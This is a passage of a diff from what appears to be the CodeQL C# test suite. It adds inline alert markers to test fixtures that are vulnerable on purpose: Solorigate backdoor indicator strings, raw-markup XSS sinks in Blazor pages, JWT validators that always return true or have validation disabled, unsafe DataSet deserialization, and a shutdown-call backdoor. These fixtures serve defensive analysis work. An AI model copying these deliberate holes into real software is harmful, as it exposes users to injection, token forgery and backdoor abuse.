+ "swip/upd/", "swip/Upload.ashx", "SYSTEM", "SYSTEM\\CurrentControlSet\\services", "us-east-1", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "us-east-2", "us-west-2", "fonts/woff/{0}-{1}-{2}{3}.woff2", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "fonts/woff/{0}-{1}-{2}-webfont{3}.woff2", "ph2eifo3n5utg1j8d94qrvbmk0sal76c", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "pki/crl/{0}{1}{2}.crl", "rq3gsalt6u1iyfzop572d49bnx8cvmkewhj", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "Select * From Win32_OperatingSystem", "Select * From Win32_Process", // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] + "Select * From Win32_SystemDriver", "Select * From Win32_UserAccount" // $ Alert[cs/solorigate/number-of-known-literals-above-threshold] }; } @@ -286,7 +286,7 @@ void SwallowExceptionTest() Literals(); } catch // BUG : SwallowEverythingExceptionHandler - {} + {} // $ Alert[cs/solorigate/swallow-everything-exception] try{ Literals(); @@ -294,7 +294,7 @@ void SwallowExceptionTest() catch( Exception e) // BUG : SwallowEverythingExceptionHandler { // - } + } // $ Alert[cs/solorigate/swallow-everything-exception] try{ Literals(); diff --git a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/MyOutput.razor b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/MyOutput.razor index e583e6b2e9c6..5476d75ccf9b 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/MyOutput.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/MyOutput.razor @@ -2,7 +2,7 @@

Value from InputText: @Value

-

Raw value from InputText: @(new MarkupString(Value))

+

Raw value from InputText: @(new MarkupString(Value))

@* $ Alert[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor index ac3ccbe19207..7a7a02ec222d 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor @@ -8,7 +8,7 @@

Route parameter

Go to: /test/@XssUrl

Parameter from URL: @UrlParam

-

Raw parameter from URL: @((MarkupString)UrlParam)

+

Raw parameter from URL: @((MarkupString)UrlParam)

@* $ Alert[cs/web/xss]=r2 $ Alert[cs/web/xss]=r2 *@
@@ -17,7 +17,7 @@

Query parameter

Go to: /test/?qs=@XssUrl

Parameter from query string: @QueryParam

-

Raw parameter from query string: @(new MarkupString(QueryParam))

+

Raw parameter from query string: @(new MarkupString(QueryParam))

@* $ Alert[cs/web/xss]=r3 $ Alert[cs/web/xss]=r3 *@
@@ -82,7 +82,7 @@
- + @* $ Source[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/MyOutput.razor b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/MyOutput.razor index e583e6b2e9c6..5476d75ccf9b 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/MyOutput.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/MyOutput.razor @@ -2,7 +2,7 @@

Value from InputText: @Value

-

Raw value from InputText: @(new MarkupString(Value))

+

Raw value from InputText: @(new MarkupString(Value))

@* $ Alert[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor index ac3ccbe19207..7a7a02ec222d 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor @@ -8,7 +8,7 @@

Route parameter

Go to: /test/@XssUrl

Parameter from URL: @UrlParam

-

Raw parameter from URL: @((MarkupString)UrlParam)

+

Raw parameter from URL: @((MarkupString)UrlParam)

@* $ Alert[cs/web/xss]=r2 $ Alert[cs/web/xss]=r2 *@
@@ -17,7 +17,7 @@

Query parameter

Go to: /test/?qs=@XssUrl

Parameter from query string: @QueryParam

-

Raw parameter from query string: @(new MarkupString(QueryParam))

+

Raw parameter from query string: @(new MarkupString(QueryParam))

@* $ Alert[cs/web/xss]=r3 $ Alert[cs/web/xss]=r3 *@
@@ -82,7 +82,7 @@
- + @* $ Source[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/MyOutput.razor b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/MyOutput.razor index e583e6b2e9c6..5476d75ccf9b 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/MyOutput.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/MyOutput.razor @@ -2,7 +2,7 @@

Value from InputText: @Value

-

Raw value from InputText: @(new MarkupString(Value))

+

Raw value from InputText: @(new MarkupString(Value))

@* $ Alert[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor index ac3ccbe19207..7a7a02ec222d 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor @@ -8,7 +8,7 @@

Route parameter

Go to: /test/@XssUrl

Parameter from URL: @UrlParam

-

Raw parameter from URL: @((MarkupString)UrlParam)

+

Raw parameter from URL: @((MarkupString)UrlParam)

@* $ Alert[cs/web/xss]=r2 $ Alert[cs/web/xss]=r2 *@
@@ -17,7 +17,7 @@

Query parameter

Go to: /test/?qs=@XssUrl

Parameter from query string: @QueryParam

-

Raw parameter from query string: @(new MarkupString(QueryParam))

+

Raw parameter from query string: @(new MarkupString(QueryParam))

@* $ Alert[cs/web/xss]=r3 $ Alert[cs/web/xss]=r3 *@
@@ -82,7 +82,7 @@
- + @* $ Source[cs/web/xss]=r1 *@
@code { diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/integration-tests/all-platforms/standalone/DatabaseQualityDiagnostics.qlref b/csharp/ql/integration-tests/all-platforms/standalone/DatabaseQualityDiagnostics.qlref index 6ff2dbd1d5f5..5d28fb2ecf9a 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone/DatabaseQualityDiagnostics.qlref +++ b/csharp/ql/integration-tests/all-platforms/standalone/DatabaseQualityDiagnostics.qlref @@ -1 +1 @@ -Telemetry/DatabaseQualityDiagnostics.ql \ No newline at end of file +query: Telemetry/DatabaseQualityDiagnostics.ql diff --git a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/DatabaseQualityDiagnostics.qlref b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/DatabaseQualityDiagnostics.qlref index 6ff2dbd1d5f5..5d28fb2ecf9a 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/DatabaseQualityDiagnostics.qlref +++ b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/DatabaseQualityDiagnostics.qlref @@ -1 +1 @@ -Telemetry/DatabaseQualityDiagnostics.ql \ No newline at end of file +query: Telemetry/DatabaseQualityDiagnostics.ql diff --git a/csharp/ql/test/experimental/CWE-918/RequestForgery.qlref b/csharp/ql/test/experimental/CWE-918/RequestForgery.qlref index 3d529ae5a2ca..d4f3819dbac4 100644 --- a/csharp/ql/test/experimental/CWE-918/RequestForgery.qlref +++ b/csharp/ql/test/experimental/CWE-918/RequestForgery.qlref @@ -1 +1,2 @@ -experimental/CWE-918/RequestForgery.ql \ No newline at end of file +query: experimental/CWE-918/RequestForgery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.qlref b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.qlref index 527ea9259733..2c6cebb2dfc9 100644 --- a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.qlref +++ b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.qlref @@ -1 +1,2 @@ -experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.ql \ No newline at end of file +query: experimental/Security Features/JsonWebTokenHandler/delegated-security-validations-always-return-true.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegation-test.cs b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegation-test.cs index 01af41c4b0c0..03a903a4f4be 100644 --- a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegation-test.cs +++ b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/delegation-test.cs @@ -98,8 +98,8 @@ public void TestCase01() SaveSigninToken = true }; - tokenValidationParamsBaseline.LifetimeValidator = (notBefore, expires, securityToken, validationParameters) => ValidateLifetimeAlwaysTrue(securityToken, validationParameters); // BUG delegated-security-validations-always-return-true - tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => true; // BUG delegated-security-validations-always-return-true + tokenValidationParamsBaseline.LifetimeValidator = (notBefore, expires, securityToken, validationParameters) => ValidateLifetimeAlwaysTrue(securityToken, validationParameters); // BUG delegated-security-validations-always-return-true // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] + tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => true; // BUG delegated-security-validations-always-return-true // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] tokenValidationParamsBaseline.TokenReplayValidator = (DateTime? expirationTime, string securityToken, TokenValidationParameters validationParameters) => // GOOD { if (securityToken is null) @@ -112,11 +112,11 @@ public void TestCase01() tokenValidationParamsBaseline.LifetimeValidator = (notBefore, expires, securityToken, validationParameters) => ValidateLifetime02(securityToken, validationParameters); // GOOD tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => {return securityToken is null?false:true; }; // GOOD - tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return true; }; // BUG - tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => !false ; // BUG - tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return securityToken is null?true:true; }; // BUG - tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return ValidateLifetimeAlwaysTrue(securityToken, validationParameters);}; //BUG - tokenValidationParamsBaseline.AudienceValidator = (audiences, securityToken, validationParameters) => ValidateLifetimeAlwaysTrue(securityToken, validationParameters); //BUG + tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return true; }; // BUG // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] + tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => !false ; // BUG // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] + tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return securityToken is null?true:true; }; // BUG // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] + tokenValidationParamsBaseline.AudienceValidator = (IEnumerable audiences, SecurityToken securityToken, TokenValidationParameters validationParameters) => { return ValidateLifetimeAlwaysTrue(securityToken, validationParameters);}; //BUG // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] + tokenValidationParamsBaseline.AudienceValidator = (audiences, securityToken, validationParameters) => ValidateLifetimeAlwaysTrue(securityToken, validationParameters); //BUG // $ Alert[cs/json-webtoken-handler/delegated-security-validations-always-return-true] } diff --git a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled-test.cs b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled-test.cs index 505aba41416f..57c5d51527f1 100644 --- a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled-test.cs +++ b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled-test.cs @@ -28,13 +28,13 @@ public void TestCase01() ClockSkew = TimeSpan.FromMinutes(5), ValidateActor = false, ValidateIssuerSigningKey = false, - ValidateIssuer = false, // BUG - ValidateAudience = false, // BUG - ValidateLifetime = false, // BUG - RequireExpirationTime = false, // BUG + ValidateIssuer = false, // BUG // $ Alert[cs/json-webtoken-handler/security-validations-disabled] + ValidateAudience = false, // BUG // $ Alert[cs/json-webtoken-handler/security-validations-disabled] + ValidateLifetime = false, // BUG // $ Alert[cs/json-webtoken-handler/security-validations-disabled] + RequireExpirationTime = false, // BUG // $ Alert[cs/json-webtoken-handler/security-validations-disabled] ValidateTokenReplay = false, RequireSignedTokens = false, - RequireAudience = false, // BUG + RequireAudience = false, // BUG // $ Alert[cs/json-webtoken-handler/security-validations-disabled] SaveSigninToken = false }; } diff --git a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.qlref b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.qlref index ee07957fa06c..6e09f8b533ba 100644 --- a/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.qlref +++ b/csharp/ql/test/experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.qlref @@ -1 +1,2 @@ -experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.ql \ No newline at end of file +query: experimental/Security Features/JsonWebTokenHandler/security-validation-disabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/Serialization/DefiningDatasetRelatedType.qlref b/csharp/ql/test/experimental/Security Features/Serialization/DefiningDatasetRelatedType.qlref index 7283db95daf5..2000d5d88765 100644 --- a/csharp/ql/test/experimental/Security Features/Serialization/DefiningDatasetRelatedType.qlref +++ b/csharp/ql/test/experimental/Security Features/Serialization/DefiningDatasetRelatedType.qlref @@ -1 +1,2 @@ -experimental/Security Features/Serialization/DefiningDatasetRelatedType.ql \ No newline at end of file +query: experimental/Security Features/Serialization/DefiningDatasetRelatedType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.qlref b/csharp/ql/test/experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.qlref index 8a8632c6ee3b..767133e00a8e 100644 --- a/csharp/ql/test/experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.qlref +++ b/csharp/ql/test/experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.qlref @@ -1 +1,2 @@ -experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.ql \ No newline at end of file +query: experimental/Security Features/Serialization/DefiningPotentiallyUnsafeXmlSerializer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.qlref b/csharp/ql/test/experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.qlref index 1593497c7932..62c0d0c79d22 100644 --- a/csharp/ql/test/experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.qlref +++ b/csharp/ql/test/experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.qlref @@ -1 +1,2 @@ -experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.ql \ No newline at end of file +query: experimental/Security Features/Serialization/UnsafeTypeUsedDataContractSerializer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/Serialization/XmlDeserializationWithDataSet.qlref b/csharp/ql/test/experimental/Security Features/Serialization/XmlDeserializationWithDataSet.qlref index 8054e46f929b..1d26399183e2 100644 --- a/csharp/ql/test/experimental/Security Features/Serialization/XmlDeserializationWithDataSet.qlref +++ b/csharp/ql/test/experimental/Security Features/Serialization/XmlDeserializationWithDataSet.qlref @@ -1 +1,2 @@ -experimental/Security Features/Serialization/XmlDeserializationWithDataSet.ql \ No newline at end of file +query: experimental/Security Features/Serialization/XmlDeserializationWithDataSet.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/Serialization/test0.cs b/csharp/ql/test/experimental/Security Features/Serialization/test0.cs index d2b2e772245a..a9efeb04ffe9 100644 --- a/csharp/ql/test/experimental/Security Features/Serialization/test0.cs +++ b/csharp/ql/test/experimental/Security Features/Serialization/test0.cs @@ -8,9 +8,9 @@ namespace DataSetSerializationTest { - public class DerivesFromDeprecatedType1 : XmlSerializer // warning:DefiningDatasetRelatedType.ql + public class DerivesFromDeprecatedType1 : XmlSerializer // warning:DefiningDatasetRelatedType.ql // $ Alert[cs/dataset-serialization/defining-dataset-related-type] { - public DataSet MyDataSet { get; set; } // bug:DefiningPotentiallyUnsafeXmlSerializer.ql + public DataSet MyDataSet { get; set; } // bug:DefiningPotentiallyUnsafeXmlSerializer.ql // $ Alert[cs/dataset-serialization/defining-potentially-unsafe-xml-serializer] public DerivesFromDeprecatedType1() { @@ -54,9 +54,9 @@ public override void WriteEndObject(XmlDictionaryWriter writer) { } */ [Serializable()] - public class AttributeSerializer01 // warning:DefiningDatasetRelatedType.ql + public class AttributeSerializer01 // warning:DefiningDatasetRelatedType.ql // $ Alert[cs/dataset-serialization/defining-dataset-related-type] { - private DataSet MyDataSet; // bug:DefiningPotentiallyUnsafeXmlSerializer.ql + private DataSet MyDataSet; // bug:DefiningPotentiallyUnsafeXmlSerializer.ql // $ Alert[cs/dataset-serialization/defining-potentially-unsafe-xml-serializer] AttributeSerializer01() { @@ -83,15 +83,15 @@ static void datatable_readxmlschema_01(string fileName) { DataTable newTable = new DataTable(); System.Xml.XmlTextReader reader = new System.Xml.XmlTextReader(fs); - newTable.ReadXmlSchema(reader); //bug:XmlDeserializationWithDataSet.ql + newTable.ReadXmlSchema(reader); //bug:XmlDeserializationWithDataSet.ql // $ Alert[cs/dataset-serialization/xml-deserialization-with-dataset] } } static void Main(string[] args) { - XmlSerializer x = new XmlSerializer(typeof(DataSet)); // bug:UnsafeTypeUsedDataContractSerializer.ql - XmlSerializer y = new XmlSerializer(typeof(AttributeSerializer01)); //bug:UnsafeTypeUsedDataContractSerializer.ql + XmlSerializer x = new XmlSerializer(typeof(DataSet)); // bug:UnsafeTypeUsedDataContractSerializer.ql // $ Alert[cs/dataset-serialization/unsafe-type-used-data-contract-serializer] + XmlSerializer y = new XmlSerializer(typeof(AttributeSerializer01)); //bug:UnsafeTypeUsedDataContractSerializer.ql // $ Alert[cs/dataset-serialization/unsafe-type-used-data-contract-serializer] Console.WriteLine("Hello World!"); } diff --git a/csharp/ql/test/experimental/Security Features/backdoor/DangerousNativeFunctionCall.qlref b/csharp/ql/test/experimental/Security Features/backdoor/DangerousNativeFunctionCall.qlref index 1215c001b40c..4a8dc07046fe 100644 --- a/csharp/ql/test/experimental/Security Features/backdoor/DangerousNativeFunctionCall.qlref +++ b/csharp/ql/test/experimental/Security Features/backdoor/DangerousNativeFunctionCall.qlref @@ -1 +1,2 @@ -experimental/Security Features/backdoor/DangerousNativeFunctionCall.ql \ No newline at end of file +query: experimental/Security Features/backdoor/DangerousNativeFunctionCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/backdoor/PotentialTimeBomb.qlref b/csharp/ql/test/experimental/Security Features/backdoor/PotentialTimeBomb.qlref index f76817aa089e..c2b5b618cec9 100644 --- a/csharp/ql/test/experimental/Security Features/backdoor/PotentialTimeBomb.qlref +++ b/csharp/ql/test/experimental/Security Features/backdoor/PotentialTimeBomb.qlref @@ -1 +1,2 @@ -experimental/Security Features/backdoor/PotentialTimeBomb.ql \ No newline at end of file +query: experimental/Security Features/backdoor/PotentialTimeBomb.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.qlref b/csharp/ql/test/experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.qlref index d1d0d520d61e..767d3e6961af 100644 --- a/csharp/ql/test/experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.qlref +++ b/csharp/ql/test/experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.qlref @@ -1 +1,2 @@ -experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.ql \ No newline at end of file +query: experimental/Security Features/backdoor/ProcessNameToHashTaintFlow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/experimental/Security Features/backdoor/test.cs b/csharp/ql/test/experimental/Security Features/backdoor/test.cs index 1aecc80aa83f..c622eda8044e 100644 --- a/csharp/ql/test/experimental/Security Features/backdoor/test.cs +++ b/csharp/ql/test/experimental/Security Features/backdoor/test.cs @@ -29,7 +29,7 @@ class External void TestDangerousNativeFunctionCall() { - InitiateSystemShutdownExW(null, null, 0U, true, true, 2147745794U); // BUG : DangerousNativeFunctionCall + InitiateSystemShutdownExW(null, null, 0U, true, true, 2147745794U); // BUG : DangerousNativeFunctionCall // $ Alert[cs/backdoor/dangerous-native-functions] } ulong GetFvnHash(string s) diff --git a/csharp/ql/test/library-tests/arguments/PrintAst.qlref b/csharp/ql/test/library-tests/arguments/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/arguments/PrintAst.qlref +++ b/csharp/ql/test/library-tests/arguments/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/assignments/PrintAst.qlref b/csharp/ql/test/library-tests/assignments/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/assignments/PrintAst.qlref +++ b/csharp/ql/test/library-tests/assignments/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/attributes/PrintAst.qlref b/csharp/ql/test/library-tests/attributes/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/attributes/PrintAst.qlref +++ b/csharp/ql/test/library-tests/attributes/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/comments/PrintAst.qlref b/csharp/ql/test/library-tests/comments/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/comments/PrintAst.qlref +++ b/csharp/ql/test/library-tests/comments/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/compilations/CompilerError.qlref b/csharp/ql/test/library-tests/compilations/CompilerError.qlref index a0132abfe57b..4bceeaba10c1 100644 --- a/csharp/ql/test/library-tests/compilations/CompilerError.qlref +++ b/csharp/ql/test/library-tests/compilations/CompilerError.qlref @@ -1 +1 @@ -Diagnostics/CompilerError.ql \ No newline at end of file +query: Diagnostics/CompilerError.ql diff --git a/csharp/ql/test/library-tests/compilations/CompilerMessage.qlref b/csharp/ql/test/library-tests/compilations/CompilerMessage.qlref index 0628dcba52e5..c4a8ee06a014 100644 --- a/csharp/ql/test/library-tests/compilations/CompilerMessage.qlref +++ b/csharp/ql/test/library-tests/compilations/CompilerMessage.qlref @@ -1 +1 @@ -Diagnostics/CompilerMessage.ql \ No newline at end of file +query: Diagnostics/CompilerMessage.ql diff --git a/csharp/ql/test/library-tests/compilations/ExtractorError.qlref b/csharp/ql/test/library-tests/compilations/ExtractorError.qlref index 14290bb4ace5..d343d7778b82 100644 --- a/csharp/ql/test/library-tests/compilations/ExtractorError.qlref +++ b/csharp/ql/test/library-tests/compilations/ExtractorError.qlref @@ -1 +1 @@ -Diagnostics/ExtractorError.ql +query: Diagnostics/ExtractorError.ql diff --git a/csharp/ql/test/library-tests/compilations/ExtractorMessage.qlref b/csharp/ql/test/library-tests/compilations/ExtractorMessage.qlref index ce6ac3bff0ab..cedb003d69c3 100644 --- a/csharp/ql/test/library-tests/compilations/ExtractorMessage.qlref +++ b/csharp/ql/test/library-tests/compilations/ExtractorMessage.qlref @@ -1 +1 @@ -Diagnostics/ExtractorMessage.ql \ No newline at end of file +query: Diagnostics/ExtractorMessage.ql diff --git a/csharp/ql/test/library-tests/constructors/PrintAst.qlref b/csharp/ql/test/library-tests/constructors/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/constructors/PrintAst.qlref +++ b/csharp/ql/test/library-tests/constructors/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/conversion/operator/PrintAst.qlref b/csharp/ql/test/library-tests/conversion/operator/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/conversion/operator/PrintAst.qlref +++ b/csharp/ql/test/library-tests/conversion/operator/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp11/PrintAst.qlref b/csharp/ql/test/library-tests/csharp11/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp11/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp11/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp6/PrintAst.qlref b/csharp/ql/test/library-tests/csharp6/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp6/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp6/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp7.1/PrintAst.qlref b/csharp/ql/test/library-tests/csharp7.1/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp7.1/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp7.1/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp7.2/PrintAst.qlref b/csharp/ql/test/library-tests/csharp7.2/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp7.2/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp7.2/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp7.3/PrintAst.qlref 